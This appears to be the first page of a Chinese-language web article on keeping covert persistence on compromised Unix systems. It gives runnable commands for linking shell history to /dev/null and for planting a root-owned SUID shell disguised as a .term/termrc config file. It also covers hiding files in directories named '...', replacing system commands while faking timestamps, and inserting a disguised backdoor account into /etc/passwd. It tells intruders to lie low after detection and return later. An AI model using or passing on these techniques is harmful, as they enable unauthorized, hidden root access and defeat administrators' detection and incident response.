Root与Demon工具包及特洛伊木马持久化技术详解
--------------------------------------------------------------------------------
在渗透测试与网络安全攻防演练中,维持持久访问权限是核心挑战之一。方法众多,但能否长期隐蔽驻留,往往取决于技术细节与操作习惯。如果你正在面临权限丢失的风险,本文将分享一系列经典且高效的持久化技巧,助你提升在目标主机上的隐蔽性与生存能力。
持久化访问的核心原则
本节介绍的几种传统方法,核心目标在于延长你在受控主机上的驻留时间。设想典型场景:一旦系统管理员察觉入侵,标准响应流程包括:实时监控可疑活动、替换关键系统二进制文件、重置用户密码、封锁来源IP、加强密码文件保护,并全面扫描SUID权限文件。
若已确认行踪暴露,最危险的举动是立即尝试通过既有后门重新连接。安全人员常会监控已知入侵点,等待攻击者回连以收集证据。因此,任何遗留的后门程序或异常操作都可能成为溯源铁证。此时最佳策略是保持静默,等待数周甚至一个月,待管理员警惕性下降后,再利用其他未修复漏洞或新发现弱点重新建立访问,恢复工作环境。
以下将具体介绍几种实用的持久化“诀窍”。
Shell历史记录清理:
--------------
妥善处理.bash_history文件至关重要。推荐的最佳实践是将其软链接至/dev/null。若不愿采用此方法,则必须仔细编辑清理该文件。需注意,.bash_history会记录当前会话的所有命令,包括你编辑该文件的操作本身。虽然在另一个终端会话中编辑可避免记录,但直接重定向至空设备更为彻底。
操作步骤如下:
1. 定位用户主目录下的.bash_history文件并删除。
2. 在用户主目录执行:ln -s /dev/null .bash_history
隐蔽目录选择技巧:
-----------------
在系统中寻找不易被察觉的目录作为文件藏匿点,是维持隐蔽性的关键。以下推荐几个管理员和用户通常忽略的目录位置。
首先,可关注用户主目录下的.term等配置目录。此类目录通常仅存放termrc等配置文件,极少被深入检查。即使被看到,也因其正常存在而不会引发怀疑。
此时,可将termrc文件替换为具有SUID权限的Shell程序,从而获得隐蔽的提权后门。具体实施命令如下:
进入/bin目录并执行:
cp bash(或sh等之类的shell) ~username/.term/termrc
chown root ~username/.term/termrc
chgrp root~username/.term/termrc
chmod s ~username/.term/termrc
完成后,即获得一个归属root且具有SUID权限的隐蔽Shell。为增强隐蔽性,建议同步修改文件时间戳,使其与周围文件时间一致。
类似地,.elm、.term、mail等用户目录也是理想选择。另一个巧妙技巧是创建名为“...”的目录。在ls -al输出中,它会紧跟在“.”和“..”之后,极易被视觉忽略。示例如下:
1024 Jan 29 21:03 .
1024 Dec 28 00:12 ..
1024 Jan 29 21:03 ...
509 Mar 02 1996 .bash_history
22 Feb 20 1996 .forward
164 May 18 1996 .kermrc
34 Jun 06 1993 .less
114 Nov 23 1993 .lessrc
1024 May 18 1996 .term
1024 May 19 1996 public_html
注意其巧妙的排列位置。
若仅使用ls -l命令,则完全不会显示此目录:
1024 May 19 1996 public_html
此外,超长路径的目录或创建“..,”等特殊名称目录也是有效的隐蔽手段。
系统命令伪装与替换
--------------------
在确认系统cron等守护进程未使用强加密校验(如MD5)后,可考虑将自定义程序复制为不常见的文件名,或替换一个极少被使用的系统命令。
关键提醒:复制或替换文件时,务必使用touch等命令修改文件的时间戳属性,使其与系统其他文件时间保持一致,避免在系统完整性检查时因创建时间异常而暴露。
更高级的方法是,将Shell程序重命名为一个看似无害的名称,并赋予其SUID权限,实现隐蔽的权限维持。
影子账户创建与密码修改
---------------------------------
另一种经典的持久化后门技术,是在系统的/etc/passwd文件中添加一个伪装成系统账户的新用户。建议将此账户设置为休眠状态,非必要时不登录,仅作为权限丢失后的备用访问通道。
优势在于,该账户无需直接设置为root权限。可先以普通用户身份潜伏,需要时再利用本地提权漏洞升级权限。操作时,建议将添加的账户行置于/etc/passwd文件靠前位置,混入系统默认账户列表中,例如:
root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
上一页12 下一页 阅读全文
